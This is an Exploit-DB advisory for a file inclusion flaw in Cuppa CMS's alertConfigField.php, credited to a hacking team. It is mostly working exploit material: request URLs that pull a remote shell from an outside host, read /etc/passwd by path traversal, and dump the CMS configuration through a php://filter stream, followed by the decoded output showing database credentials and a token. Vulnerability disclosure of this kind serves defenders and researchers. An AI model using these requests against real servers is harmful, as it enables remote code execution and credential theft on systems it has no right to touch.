Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion

EDB-ID:

25971

CVE:



Platform:

PHP

Published:

2013-06-05

# Exploit Title   : Cuppa CMS File Inclusion
# Date            : 4 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version         : Beta
# Tested on       : Window and Linux

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /          
  / XXXXXX /
 (________(            
  `------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/alerts/alertConfigField.php (LINE: 22)

-----------------------------------------------------------------------------
LINE 22: 
        <?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------
    

#####################################################
DESCRIPTION
#####################################################

An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.

http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]

#####################################################
EXPLOIT
#####################################################

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Moreover, We could access Configuration.php source code via PHPStream 

For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------

Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------

Base64 Decode Output:
-----------------------------------------------------------------------------
<?php 
	class Configuration{
		public $host = "localhost";
		public $db = "cuppa";
		public $user = "root";
		public $password = "Db@dmin";
		public $table_prefix = "cu_";
		public $administrator_template = "default";
		public $list_limit = 25;
		public $token = "OBqIPqlFWf3X";
		public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
		public $upload_default_path = "media/uploadsFiles";
		public $maximum_file_size = "5242880";
		public $secure_login = 0;
		public $secure_login_value = "";
		public $secure_login_redirect = "";
	} 
?>
-----------------------------------------------------------------------------

Able to read sensitive information via File Inclusion (PHP Stream)

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 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 
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